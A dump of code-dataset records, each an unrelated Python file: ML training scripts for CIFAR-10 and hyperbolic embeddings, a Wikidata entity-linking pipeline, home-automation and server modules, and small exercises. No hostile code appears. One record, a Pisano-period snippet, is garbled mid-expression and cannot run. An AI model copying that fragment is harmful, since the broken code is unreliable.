spark.read.load(output_file_path)\ndisplay(result_df)","sub_path":"notebooks/Users/babal@microsoft.com/51/keras-metadata.py","file_name":"keras-metadata.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"540491602","text":"import gc\nimport logging\nimport concurrent.futures\nimport os\nimport math\n\nimport numpy as np\n\nimport torch\nimport torch.multiprocessing as mp\n\nfrom natsort import natsorted\n\nfrom data import WordGraphDataset\nfrom data import ImageCoembeddingDataset\nfrom data import ImagenetInferenceDataset\nfrom geometry import HyperbolicGeometry\nfrom graph_embedding_model import GraphHyperbolicEmbedding\nfrom coembedding_model import ImageWordCoembedding\nfrom coembedding_model import ImageHyperbolicEmbedding\nfrom optim import RiemannianSGD\n#from torch_optim_SGD import SGD\n\nfrom utils import set_logging\nfrom utils import any_process_alive\nfrom utils import write_plot_data\nfrom utils import evaluate_models\nfrom utils import save_embedding_models\n\nfrom train import train_process\n\n\nclass ValueAtEpoch:\n \"\"\"\n A container class to store a (value, epoch) pair.\n \"\"\"\n def __init__(self, value, epoch):\n self.value = value\n self.epoch = epoch\n\n\nclass EvaluationHelper:\n def __init__(self, config, executor, csv_fp, adjacency):\n self.min_mean_rank = ValueAtEpoch(\n value=np.Inf, \n epoch=0,\n )\n self.max_map = ValueAtEpoch(\n value=0, \n epoch=0,\n )\n self.config = config\n self.executor = executor\n self.csv_fp = csv_fp\n self.adjacency = adjacency\n\n\ndef run(\n config,\n initial_word_embedding=None, \n):\n # NOTE: Disable torch's OpenMP multuthreading.\n # XXX: Not sure if the following works, use OMP_NUM_THREADS=1 instead.\n torch.set_num_threads(0)\n\n word_graph_dataset = WordGraphDataset(config)\n\n if config.logging_to_console:\n executor = None\n eval_csv_fp = None\n save_models = False\n else:\n save_models = True\n os.mkdir(config.model_name)\n print('saving files @ {}.'.format(config.model_name))\n\n torch.save({\n 'id_of_word': word_graph_dataset.id_of_word,\n 'adjacency': word_graph_dataset.adjacency,\n }, f'{config.model_name}/word_graph_dataset.pth')\n\n torch.save({\n 'config': config,\n }, f'{config.model_name}/config.pth')\n\n executor = concurrent.futures.ThreadPoolExecutor(max_workers=1)\n eval_csv_fp = open(f'{config.model_name}/eval.csv', 'w')\n\n header = 'epoch,elapsed,word_loss,image_word_loss,image_loss,rank,ap'\n executor.submit(write_plot_data, eval_csv_fp, header)\n\n set_logging(config)\n logger = logging.getLogger(config.model_name)\n\n for option, value in vars(config).items():\n logger.info(f'{option}: {value}')\n\n hyperbolic_geometry = HyperbolicGeometry(config)\n\n word_embedding_model = GraphHyperbolicEmbedding(\n len(word_graph_dataset.id_of_word),\n hyperbolic_geometry,\n initial_embedding=initial_word_embedding,\n )\n\n if config.image_dir != '':\n image_coembedding_dataset = ImageCoembeddingDataset(\n config,\n word_graph_dataset,\n config.image_dir,\n )\n\n image_embedding_model = ImageHyperbolicEmbedding(\n hyperbolic_geometry,\n config.device\n )\n\n image_coembedding_model = ImageWordCoembedding(\n hyperbolic_geometry,\n word_embedding_model,\n image_embedding_model,\n )\n else:\n image_coembedding_dataset = None\n image_embedding_model = None\n image_coembedding_model = None\n\n eval_helper = EvaluationHelper(\n config, executor, eval_csv_fp,\n word_graph_dataset.adjacency,\n )\n\n evaluate_models(\n word_embedding_model,\n image_coembedding_model,\n eval_helper,\n epoch=0,\n elapsed=0,\n epoch_word_loss=0,\n epoch_image_word_loss=0,\n epoch_image_loss=0,\n save_models=save_models,\n )\n\n word_embedding_optimizer = RiemannianSGD(\n word_embedding_model.parameters(),\n lr=config.word_lr,\n rgrad=config.metric,\n weight_decay=config.word_weight_decay,\n )\n\n if image_coembedding_model is not None:\n if (config.coembedding_optimizer == 'SGD'):\n image_coembedding_optimizer = torch.optim.SGD(\n #image_coembedding_optimizer = SGD(\n image_coembedding_model\n .image_embedding_model\n .image_embedding_layer.parameters(),\n lr=config.coembedding_lr,\n momentum=config.coembedding_momentum,\n weight_decay=config.image_weight_decay,\n )\n elif (config.coembedding_optimizer == 'Adam'):\n image_coembedding_optimizer = torch.optim.Adam(\n image_coembedding_model\n .image_embedding_model\n .image_embedding_layer.parameters(),\n lr=config.coembedding_lr,\n weight_decay=config.image_weight_decay,\n )\n else:\n image_coembedding_optimizer = None\n\n if (config.num_processes < 0):\n raise ValueError\n elif (config.num_processes == 0):\n train_process(\n word_graph_dataset,\n word_embedding_model,\n word_embedding_optimizer,\n image_coembedding_dataset,\n image_coembedding_model,\n image_coembedding_optimizer,\n config,\n eval_helper=eval_helper,\n )\n elif (config.num_processes > 0):\n queue = mp.Manager().Queue()\n # NOTE: Recursively call torch.Tensor.share_memory().\n word_embedding_model.share_memory()\n image_coembedding_model\n train_processes = []\n for train_id in range(config.num_processes):\n p = mp.Process(\n target=train_process,\n args=(\n word_graph_dataset,\n word_embedding_model,\n word_embedding_optimizer,\n image_coembedding_dataset,\n image_coembedding_model,\n image_coembedding_optimizer,\n config,\n train_id,\n queue,\n None,\n ),\n )\n p.start()\n train_processes.append(p)\n\n # TODO: Often this loop does not terminate.\n while any_process_alive(train_processes):\n # NOTE: Do we need the following garbage collection?\n gc.collect()\n msg = queue.get()\n if msg is None:\n for p in train_processes:\n p.terminate()\n break\n else:\n# epoch, elapsed, epoch_word_loss, epoch_image_loss = msg\n\n # TODO: Save either a min rank model or a max map model.\n evaluate_models(\n word_embedding_model,\n image_coembedding_model,\n eval_helper,\n *msg,\n save_models=save_models,\n )\n\n# for p in train_processes:\n# p.join()\n\n logger.info(\n 'Result: '\n f'min mean rank: {eval_helper.min_mean_rank.value}'\n f'@ epoch {eval_helper.min_mean_rank.epoch}, '\n f'max mean average precision: {eval_helper.max_map.value}'\n f'@ epoch {eval_helper.max_map.epoch}.'\n )\n\n\ndef save_image_embeddings(\n model_dir,\n image_loader_num_workers=4,\n model_prefix='model_',\n device='cpu',\n overwrite=False,\n):\n config = torch.load(f'{model_dir}/config.pth')['config']\n\n image_batch_size = config.image_batch_size * config.num_image_negatives\n image_dataset = ImagenetInferenceDataset(config.image_dir)\n image_loader = torch.utils.data.DataLoader(\n image_dataset,\n batch_size=image_batch_size,\n shuffle=False,\n num_workers=image_loader_num_workers,\n #pin_memory=True,\n )\n\n hyperbolic_geometry = HyperbolicGeometry(config=config)\n image_embedding_model = ImageHyperbolicEmbedding(\n hyperbolic_geometry,\n device=device,\n )\n\n image_embeddings = np.empty(\n (len(image_dataset), hyperbolic_geometry.ambient_num_dimensions),\n )\n image_embedding_classes = np.empty(\n len(image_dataset),\n dtype=np.int,\n )\n\n model_checkpoint_files = natsorted([\n os.path.join(model_dir, file_name)\n for file_name in os.listdir(f'{model_dir}')\n if file_name[:len(model_prefix)] == model_prefix\n ])\n for a_checkpoint_file in model_checkpoint_files:\n model_ckpt = torch.load(\n a_checkpoint_file,\n map_location={'cuda:0':device},\n )\n model_epoch = model_ckpt['epoch']\n\n image_embeddings_file_path = os.path.join(\n model_dir,\n f'image_embeddings_{model_epoch}.npz',\n )\n if (os.path.exists(image_embeddings_file_path)\n and not overwrite):\n continue\n \n print(f'saving image embeddings of {a_checkpoint_file}...')\n\n image_embedding_model.image_embedding_layer.load_state_dict(\n model_ckpt['image_embedding_layer_state_dict']\n )\n for i, (img, cls) in enumerate(image_loader):\n num_image_minibatches = math.ceil(\n len(image_dataset) / image_batch_size\n )\n print(\n 'image minibatch #{}/{}...'\n .format(i + 1, num_image_minibatches)\n )\n if device != 'cpu':\n img = img.cuda(device)\n i_start = i * image_batch_size\n i_end = i_start + image_batch_size\n image_embeddings[i_start:i_end] = image_embedding_model(\n img\n ).cpu().detach().numpy()\n image_embedding_classes[i_start:i_end] = cls.cpu().detach().numpy()\n np.savez(\n image_embeddings_file_path,\n image_embeddings=image_embeddings,\n image_embedding_classes=image_embedding_classes,\n )\n","sub_path":"embed.py","file_name":"embed.py","file_ext":"py","file_size_in_byte":9994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"347395652","text":"# _*_ coding : UTF-8 _*_\r\nfrom datetime import datetime\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nimport torch.nn.functional as F\r\nimport torch.backends.cudnn as cudnn\r\n\r\nimport torchvision\r\nimport torchvision.transforms as transforms\r\n\r\nfrom torch.utils.tensorboard import SummaryWriter\r\n\r\nimport os\r\nimport argparse\r\nimport time\r\nimport sys\r\n\r\nCIFAR_PATH = 'dataset'\r\nLOG_DIR = 'runs'\r\nMILESTONES = [60, 120, 160]\r\n# time of we run the script\r\nDATE_FORMAT = '%A_%d_%B_%Y_%Hh_%Mm_%Ss'\r\nTIME_NOW = datetime.now().strftime(DATE_FORMAT)\r\n\r\nmean = [0.4914, 0.4822, 0.4465]\r\nstd = [0.2023, 0.1994, 0.2010]\r\n\r\n\r\ndef parse_args():\r\n parser = argparse.ArgumentParser(description='PyTorch CIFAR10 Training')\r\n # Experiment setting\r\n parser.add_argument('-net', type=str, required=True, help='net type')\r\n parser.add_argument('--lr', default=0.1, type=float, help='learning rate')\r\n parser.add_argument('--epochs', type=int, default=200,\r\n help=\"total epochs for training\")\r\n parser.add_argument('-bs', type=int, default=128, help='batch size for training dataloader')\r\n parser.add_argument('--workers', type=int, default=4,\r\n help=\"number of worker to load data\")\r\n args = parser.parse_args()\r\n\r\n return args\r\n\r\n\r\ndef train(epoch):\r\n start = time.time()\r\n net.train()\r\n\r\n correct = 0\r\n total = 0\r\n for batch_index, (images, labels) in enumerate(trainloader):\r\n images, labels = images.to(device), labels.to(device)\r\n optimizer.zero_grad()\r\n outputs = net(images)\r\n loss = criterion(outputs, labels)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n _, predicted = outputs.max(1)\r\n total += labels.size(0)\r\n correct += predicted.eq(labels).sum().item()\r\n\r\n n_iter = (epoch - 1) * len(trainloader) + batch_index + 1\r\n # ???\r\n '''\r\n last_layer = list(net.children())[-1]\r\n for name, para in last_layer.named_parameters():\r\n if 'weight' in name:\r\n writer.add_scalar('LastLayerGradients/grad_norm2_weights', para.grad.norm(), n_iter)\r\n if 'bias' in name:\r\n writer.add_scalar('LastLayerGradients/grad_norm2_bias', para.grad.norm(), n_iter)\r\n '''\r\n if batch_index % 100 == 0:\r\n print('Training Epoch: {epoch} [{trained_samples}/{total_samples}]\\tLoss: {:0.4f}\\tLR: {:0.6f}'.format(\r\n loss.item(),\r\n optimizer.param_groups[0]['lr'],\r\n epoch=epoch,\r\n trained_samples=batch_index * args.bs + len(images),\r\n total_samples=len(trainloader.dataset)\r\n ))\r\n\r\n # update training loss for each iteration\r\n writer.add_scalar('Train/loss', loss.item(), n_iter)\r\n writer.add_scalar('Train/accuracy', 100.0 * correct / total, n_iter)\r\n\r\n for name, param in net.named_parameters():\r\n layer, attr = os.path.splitext(name)\r\n attr = attr[1:]\r\n writer.add_histogram(\"{}/{}\".format(layer, attr), param, epoch)\r\n finish = time.time()\r\n\r\n print('Epoch {} training time consumed: {:.2f}s'.format(epoch, finish - start))\r\n\r\n\r\ndef validate(epoch, tb=True):\r\n # switch to evaluate mode\r\n start = time.time()\r\n net.eval()\r\n\r\n test_loss = 0.0 # cost function error\r\n correct = 0.0\r\n with torch.no_grad():\r\n for batch_index, (images, labels) in enumerate(testloader):\r\n images, labels = images.to(device), labels.to(device)\r\n outputs = net(images)\r\n loss = criterion(outputs, labels)\r\n\r\n test_loss += loss.item()\r\n _, predicted = outputs.max(1)\r\n correct += predicted.eq(labels).sum().item()\r\n\r\n finish = time.time()\r\n '''\r\n if torch.cuda.is_available():\r\n print('GPU INFO.....')\r\n print(torch.cuda.memory_summary(), end='')\r\n '''\r\n print('Evaluating Network.....')\r\n print('Test set: Epoch: {}, Average loss: {:.4f}, Accuracy: {:.4f}, Time consumed:{:.2f}s'.format(\r\n epoch,\r\n test_loss / len(testloader.dataset),\r\n correct / len(testloader.dataset),\r\n finish - start\r\n ))\r\n\r\n # add informations to tensorboard\r\n if tb:\r\n writer.add_scalar('Test/Average loss', test_loss / len(testloader.dataset), epoch)\r\n writer.add_scalar('Test/Accuracy', correct / len(testloader.dataset), epoch)\r\n\r\n return correct / len(testloader.dataset)\r\n\r\n\r\ndef set_seed(seed=0):\r\n torch.manual_seed(seed)\r\n torch.cuda.manual_seed(seed)\r\n torch.cuda.manual_seed_all(seed)\r\n torch.backends.cudnn.deterministic = True\r\n torch.backends.cudnn.benchmark = False\r\n\r\n\r\ndef get_network(args):\r\n # return given network\r\n if args.net == 'resnet18':\r\n from models.resnet import resnet18\r\n net = resnet18()\r\n elif args.net == 'resnet34':\r\n from models.resnet import resnet34\r\n net = resnet34()\r\n elif args.net == 'resnet50':\r\n from models.resnet import resnet50\r\n net = resnet50()\r\n elif args.net == 'resnet101':\r\n from models.resnet import resnet101\r\n net = resnet101()\r\n elif args.net == 'resnet152':\r\n from models.resnet import resnet152\r\n net = resnet152()\r\n else:\r\n print('the network name you have entered is not supported yet')\r\n sys.exit()\r\n\r\n return net\r\n\r\n\r\nif __name__ == '__main__':\r\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\r\n print(device)\r\n\r\n args = parse_args()\r\n set_seed()\r\n\r\n # Data\r\n print('==> Preparing data..')\r\n transform_train = transforms.Compose([\r\n transforms.RandomCrop(32, padding=4),\r\n transforms.RandomHorizontalFlip(),\r\n # transforms.RandomRotation(15), # 数据增强\r\n transforms.ToTensor(),\r\n transforms.Normalize(mean, std)\r\n ])\r\n transform_test = transforms.Compose(\r\n [transforms.ToTensor(),\r\n transforms.Normalize(mean, std)])\r\n\r\n cifar10_training = torchvision.datasets.CIFAR10(root=CIFAR_PATH, train=True, download=True,\r\n transform=transform_train)\r\n trainloader = torch.utils.data.DataLoader(cifar10_training, batch_size=args.bs, shuffle=True,\r\n num_workers=args.workers)\r\n\r\n cifar10_testing = torchvision.datasets.CIFAR10(root=CIFAR_PATH, train=False, download=True,\r\n transform=transform_test)\r\n testloader = torch.utils.data.DataLoader(cifar10_testing, batch_size=100, shuffle=False, num_workers=args.workers)\r\n\r\n # Model\r\n print('==> Building model..')\r\n net = get_network(args)\r\n net = net.to(device)\r\n\r\n # sys.exit()\r\n\r\n criterion = nn.CrossEntropyLoss()\r\n optimizer = optim.SGD(net.parameters(), lr=args.lr,\r\n momentum=0.9, weight_decay=5e-4)\r\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=MILESTONES,\r\n gamma=0.2)\r\n\r\n # use tensorboard\r\n if not os.path.exists(LOG_DIR):\r\n os.mkdir(LOG_DIR)\r\n\r\n writer = SummaryWriter(log_dir=os.path.join(\r\n LOG_DIR, args.net, TIME_NOW))\r\n # network architechture\r\n input_tensor = torch.Tensor(1, 3, 32, 32)\r\n input_tensor = input_tensor.to(device) # remember to set x = x.to()\r\n writer.add_graph(net, input_tensor)\r\n\r\n if device == 'cuda':\r\n net = torch.nn.DataParallel(net)\r\n\r\n best_acc = 0\r\n for epoch in range(1, args.epochs + 1):\r\n train(epoch)\r\n acc = validate(epoch)\r\n scheduler.step()\r\n # Save checkpoint\r\n if acc > best_acc:\r\n print('Saving..')\r\n state = {\r\n 'net': net.state_dict(),\r\n 'acc': acc,\r\n 'epoch': epoch,\r\n }\r\n if not os.path.isdir('checkpoint'):\r\n os.mkdir('checkpoint')\r\n torch.save(state, './checkpoint/cifar10-' + str(args.net) + '.pth', _use_new_zipfile_serialization=False)\r\n best_acc = acc\r\n print('Best acc is %.4f' % best_acc)\r\n print()\r\n\r\n writer.close()\r\n","sub_path":"ResNet-on-Cifar10-Cifar10C/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"470494077","text":"from sys import stdin\nimport datetime\n\ndef pisano_period(m):\n lista = [0, 1]\n while len(lista)<6 or (len(lista)>=6 and lista[-3:]!=[0, 1, 1]):\n if lista[-1]+lista[-2]zavr:\n zav = zavl\n if max(l)>max(r):\n zmax = max(l)\n if min(l) 0:\n print(result['entities_wikidata'][0][0])\n except ValueError:\n print(\"No entities found\")\n\n \n\n# %% \n# 6. Once we retrieved entities, we load in df all data\n\ndf = pd.read_csv('data/ed-dataset-falcon2.csv', sep=',',header=None, names=['id','id_tweet','url_tweet','text_orig','ED_Patient','ProED','informative','scientific','hashtags','falcon2_responses'\n],error_bad_lines=False)\n\n\nprint(df.head)\nprint(df.text_orig)\n\ntw_list = df['text_orig'].tolist()\nresp_list = df['falcon2_responses'].tolist()\n\n\n#%%\n\n# 7. Trying to retrieve failed responses of FALCON 2.0\n\nresp_id = 0\ntot = 0\nfor idx, resp in enumerate(resp_list):\n if(len(resp) == 290):\n print(idx,' ',tw_list[resp_id])\n tw_list[idx] = clean_string(tw_list[idx])\n tot+=1\n tw = tw_list[resp_id]\n payload = json.dumps({\"text\":tw})\n response = requests.request(\"POST\", url, headers=headers, data=payload)\n print(response.text)\n resp_list[idx] = response.text\n\n resp_id+=1\n \nprint(tot)\n\ndf['falcon2_responses'] = resp_list\ndf.to_csv('data/ed-dataset-falcon2b.csv',sep=';')\n\n\n\n# %% \n\nresponses_entities_instances = []\nresponses_entities_labels = []\n\nresp_entities_labels = []\nresp_entities_instances = []\n\nall_entities_labels = []\nall_entities_instances = []\n\nall_entities_labels_a = []\nall_entities_instances_a = []\n\nfor resp in resp_list:\n #resp_entities_labels = []\n #resp_entities_instances = []\n try:\n result=json.loads(resp)\n if len(result['entities_wikidata']) > 0:\n #print(result['entities_wikidata'])\n for entity in result['entities_wikidata']:\n entity_instance = entity[0].replace('>','').replace('<','')\n entity_label = entity[1].replace('>','').replace('<','')\n resp_entities_instances.append(entity_instance)\n resp_entities_labels.append(entity_label)\n if (entity_instance in all_entities_instances) is False:\n all_entities_instances.append(entity_instance)\n all_entities_labels.append(entity_label)\n all_entities_instances_a.append(entity[0])\n all_entities_labels_a.append(entity[1])\n responses_entities_instances.append(resp_entities_instances)\n responses_entities_labels.append(resp_entities_labels)\n except ValueError:\n print(\"No entities\")\n responses_entities_instances.append(['No entity'])\n responses_entities_labels.append(['No entity'])\n\ndf['entities_instances_wikidata'] = responses_entities_instances\ndf['entities_labels_wikidata'] = responses_entities_labels\n\nprint(len(all_entities_labels))\nprint(len(all_entities_instances))\n# %%\n\nprint(resp_entities_labels)\n\n# %%\n\nresp_entities_1 = []\nresp_entities_size = []\nresp_entities_e = []\n\nfor idx, label in enumerate(resp_entities_labels):\n if (label in resp_entities_1) is False:\n resp_entities_1.append(label)\n resp_entities_e.append(resp_entities_instances[idx])\n resp_entities_size.append(1)\n else:\n index = resp_entities_1.index(label)\n resp_entities_size[index] += 1\n \n\ndfLabels = pd.DataFrame({'labels':resp_entities_1,'count':resp_entities_size,'entity':resp_entities_e})\n\n# %%\n\nprint(dfLabels[dfLabels['count']>1])\n\n\n\n# %% \n# Using wikidata to retrieve superclasses of entitites retrieved.\n# P31? is \"instance of\"\n# P279? is \"subclass of\"\nfrom qwikidata.sparql import return_sparql_query_results\n\n \nqs1 = \"\"\"\nSELECT DISTINCT ?item ?itemLabel\nWHERE {\n {\n \"\"\"\nqs2 = \"\"\" wdt:P31? ?item . } \nSERVICE wikibase:label { bd:serviceParam wikibase:language \"en\". }\n} \n \"\"\"\n\nall_ent_subcl_labels = []\nall_ent_subcl_ins = []\nall_ent_ins = []\nall_ent_labels = []\n\nerror_retrieving_class = []\n\nconta=0\nfor idx, entity in enumerate(all_entities_instances_a):\n \n #print(idx, entity)\n query_string = qs1 + entity + qs2\n print(idx,entity)\n try:\n res = return_sparql_query_results(query_string)\n if(idx%4==0):\n time.sleep(12)\n if(res[\"results\"] is not False):\n for row in res[\"results\"][\"bindings\"]:\n all_ent_subcl_labels.append(row[\"itemLabel\"][\"value\"])\n all_ent_subcl_ins.append(row[\"item\"][\"value\"])\n all_ent_ins.append(entity)\n all_ent_labels.append(all_entities_labels[idx])\n if(conta==0):\n print(row[\"item\"][\"value\"])\n conta+=1\n except:\n error_retrieving_class.append(entity)\n print('error',idx,entity)\n\n \n# %% \n\n\n\nfor idx, entity in enumerate(error_retrieving_class): \n #print(idx, entity)\n query_string = qs1 + entity + qs2\n print(idx,entity)\n try:\n res = return_sparql_query_results(query_string)\n if(idx%4==0):\n time.sleep(12)\n if(res[\"results\"] is not False):\n for row in res[\"results\"][\"bindings\"]:\n all_ent_subcl_labels.append(row[\"itemLabel\"][\"value\"])\n all_ent_subcl_ins.append(row[\"item\"][\"value\"])\n all_ent_ins.append(entity)\n all_ent_labels.append(all_entities_labels[idx])\n if(conta==0):\n print(row[\"item\"][\"value\"])\n conta+=1\n except:\n #error_retrieving_class.append(entity)\n print('error',idx,entity)\n\n# %%\n\ndf_classes = pd.DataFrame({'Entities':all_ent_ins,'Enti_labels':all_ent_labels,'Classes':all_ent_subcl_ins,'Class_labels':all_ent_subcl_labels})\ndf_classes \n\n# %%\n\ndf_classes.to_csv('data/ed-dataset-falcon2-classes-entities.csv',sep=';')\n\n# %% \n\ndf = pd.read_csv('data/ed-dataset-falcon2-classes-entities.csv', sep=';',error_bad_lines=False)\nprint(df.head)\ndf['Entities'] = df['Entities'].map(lambda x: x.lstrip('<').rstrip('>'))\n\ndf_1 = df.query(\"Entities != Classes\")\n\ndf_1\n\ndf_1.to_csv('data/ed-dataset-falcon2-classes-entities.csv',sep=';')\n\n\n","sub_path":"preprocessing_kge/01_getting-KGE-resources-falcon2.py","file_name":"01_getting-KGE-resources-falcon2.py","file_ext":"py","file_size_in_byte":8778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"437772962","text":"#!/usr/bin/env python\n\nimport asyncio\nimport logging\nimport ssl\n\nfrom qtoggleserver import commands\nfrom qtoggleserver.conf import settings\nfrom qtoggleserver.web import server as web_server\n\n\nlogger = logging.getLogger('qtoggleserver.server')\n\n\ndef init_web_server() -> None:\n listen, port = settings.server.addr, settings.server.port\n\n ssl_context = None\n if settings.server.https.cert_file and settings.server.https.key_file:\n logger.info('setting up HTTPS using certificate from %s', settings.server.https.cert_file)\n ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)\n ssl_context.load_cert_chain(settings.server.https.cert_file, settings.server.https.key_file)\n\n try:\n web_server.get_application().listen(port, listen, ssl_options=ssl_context)\n logger.info('server listening on %s:%s', listen, port)\n\n except Exception as e:\n logger.error('server listen failed: %s', e)\n raise\n\n\ndef execute() -> None:\n loop = asyncio.get_event_loop()\n\n loop.run_until_complete(commands.init())\n init_web_server()\n\n try:\n loop.run_forever()\n loop.run_until_complete(commands.cleanup())\n\n finally:\n loop.run_until_complete(loop.shutdown_asyncgens())\n loop.close()\n\n commands.logger.info('bye!')\n\n\nif __name__ == '__main__':\n execute()\n","sub_path":"qtoggleserver/commands/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"234388762","text":"import Domoticz\nimport json\nfrom adapters.base_adapter import Adapter\nfrom devices.color_light import ColorLight\n\n\nclass RGBAdapter(Adapter):\n def __init__(self, devices):\n super().__init__(devices)\n\n self.dimmer = ColorLight(devices, 'light', 'state_brightness_color')\n self.devices.append(self.dimmer)\n\n def handleCommand(self, alias, device, device_data, command, level, color):\n cmd = command.upper()\n\n if cmd == 'ON' or cmd == 'OFF':\n return {\n 'topic': device_data['friendly_name'] + '/set',\n 'payload': json.dumps({\n \"state\": command\n })\n }\n\n if cmd == 'SET LEVEL':\n return {\n 'topic': device_data['friendly_name'] + '/set',\n 'payload': json.dumps({\n \"state\": \"ON\",\n \"brightness\": int(level*255/100)\n })\n }\n\n if cmd == 'SET COLOR':\n colorObject = json.loads(color)\n green = colorObject['g']\n red = colorObject['r']\n blue = colorObject['b']\n\n return {\n 'topic': device_data['friendly_name'] + '/set',\n 'payload': json.dumps({\n \"state\": \"ON\",\n \"brightness\": int(level * 255 / 100),\n \"color\": {\n \"r\": red,\n \"g\": green,\n \"b\": blue\n }\n })\n }\n","sub_path":"adapters/rgb_adapter.py","file_name":"rgb_adapter.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"434279874","text":"\"\"\"\ndocstring needed\n\n:copyright: Copyright 2010-2013 by the Python lib9ML team, see AUTHORS.\n:license: BSD-3, see LICENSE for details.\n\"\"\"\n\n# from nineml.user_layer.connection_generator import ConnectionGenerator, cgClosureFromURI\nfrom .cg_closure import alConnectionRuleFromURI\nfrom .explicit_list_of_connections import ExplicitListOfConnections # @IgnorePep8\nfrom .grids import createUnstructuredGrid, GeometryImplementation # @IgnorePep8\n\n# memoizedConnectionGenerators = {}\n\n\ndef connectionGeneratorFromProjection(projection, geometry):\n \"\"\"\n Returns an object that supports ConnectionGenerator interface.\n\n :param projection: user-layer Projection object\n :param geometry: Geometry-derived object\n\n :rtype: ConnectionGenerator-derived object\n :raises: RuntimeError\n \"\"\"\n rule = projection.rule\n\n \"\"\"\n ACHTUNG, ACHTUNG!!\n Testing for attribute is a temporal workaround.\n Will be fixed when the XML serialization is implemented.\n \"\"\"\n if hasattr(rule, 'connections'):\n connections = getattr(rule, 'connections')\n cg = ExplicitListOfConnections(connections)\n return cg\n\n # Assembling a CG instantiation\n cgClosure = alConnectionRuleFromURI(rule.definition.url)\n cg = cgClosure(rule.properties)\n return cg\n\n\ndef geometryFromProjection(projection):\n \"\"\"\n Returns an object that supports Geometry interface.\n\n :param projection: user-layer Projection object\n\n :rtype: Geometry-derived object\n :raises: RuntimeError\n \"\"\"\n source_grid = createUnstructuredGrid(projection.source)\n target_grid = createUnstructuredGrid(projection.target)\n\n geometry = GeometryImplementation(source_grid, target_grid)\n return geometry\n","sub_path":"lib9ml/python/nineml/user_layer/_old_projection/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"381576442","text":"from os import path\r\n\r\n# file types and his extentions\r\ntype_exts = {\r\n 'audio' : ['.mp4', '.mp3', '.m4a', '.flac', '.wav', '.wma', '.aac'],\r\n 'image' : ['.jpeg', '.jpg', '.png', '.gif', '.tiff', '.psd', '.pdf'],\r\n 'video' : []\r\n }\r\n\r\ndef check_extention(filename, file_type):\r\n if filename and file_type:\r\n if file_type == 'all':\r\n return True\r\n ext = path.splitext(filename)[1]\r\n \r\n # get extentions for file type\r\n type_ext = type_exts.get(file_type)\r\n if type_ext:\r\n if ext in type_ext:\r\n return True\r\n return False\r\n\r\n","sub_path":"FileExtention.py","file_name":"FileExtention.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"187637971","text":"import requests\nfrom bs4 import BeautifulSoup\n\nURL=\"http://www.dt.co.kr/section.html?section_num=2000\"\n\n\n# def get_title(html):\n# title = html.find(\"dt\",{\"class\":\"tit\"}).find(\"a\")\n# print(title.get_text());\n\ndef get_one(html):\n title =html.find(\"dt\", {\"class\":\"tit\"}).find(\"a\").get_text()\n desc = html.find(\"dd\",{\"class\": \"desc\"}).find(\"a\").get_text()\n\n print(title, desc)\ndef get_alticles():\n news_result = requests.get(URL)\n news_result.encoding='euc-kr'\n soup = BeautifulSoup(news_result.text, \"html.parser\")\n results = soup.find_all(\"dl\", {\"class\": \"article_list\"})\n\n for result in results:\n get_one(result)\n","sub_path":"crawlingPython/crawlingNews.py","file_name":"crawlingNews.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"518258253","text":"import numpy as np\n\n# 模拟数据\nn = 5\ntrue_w = np.array([4.2, 2, -3.4])\nX = np.random.randint(1, 10, len(true_w) * n).reshape((n, len(true_w)))\nX.transpose()[0] = 1\n\ny = np.empty(shape=(n))\n\n\ndef net(X, w):\n return np.dot(X, w)\n\n\nfor i, _x in enumerate(X):\n y[i] = net(_x, true_w)\n\n# 数据读取\n\n\n# 初始化参数\nepochs = 50000\nlearning_reate = 0.01\nw = np.zeros(len(true_w))\n\n\n# 梯度下降\ndef sdg(j):\n sum = 0\n for i, x in enumerate(X):\n sum = sum + (net(x, w) - y[i]) * x[j]\n return sum / n\n\n\n# 训练\nfor i in range(epochs):\n temp = np.zeros(len(true_w))\n for j, t in enumerate(w):\n temp[j] = t - learning_reate * sdg(j)\n w = temp\nprint(true_w)\nprint(w)\n","sub_path":"ml/吴恩达-机器学习/src/多变量线性回归.py","file_name":"多变量线性回归.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"254445725","text":"#!/usr/bin/python2\nimport MySQLdb\n\ndb = MySQLdb.connect('192.168.0.107','test','test','test')\ncursor = db.cursor()\nsql= \"insert into test(id) values('%d')\" % (20)\n\ntry:\n cursor.execute(sql)\n db.commit()\nexcept:\n db.rollback()\ndb.close()\n\n\n\n","sub_path":"python练习题/7/execrise/2/stu/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"626474213","text":"# As casas de São Paulo estão recebendo o carnê do IPTU com duas opções de pagamento:\r\n# à vista ou em 10 vezes. Sua tarefa é desenvolver um programa/algoritmo onde o usuário\r\n# informa (digita) o valor total à vista e o valor de cada parcela. Seu programa imprime o\r\n# desconto em percentual dado pela prefeitura para pagamento à vista.\r\n\r\n# 4% IPTU Á VISTA EM 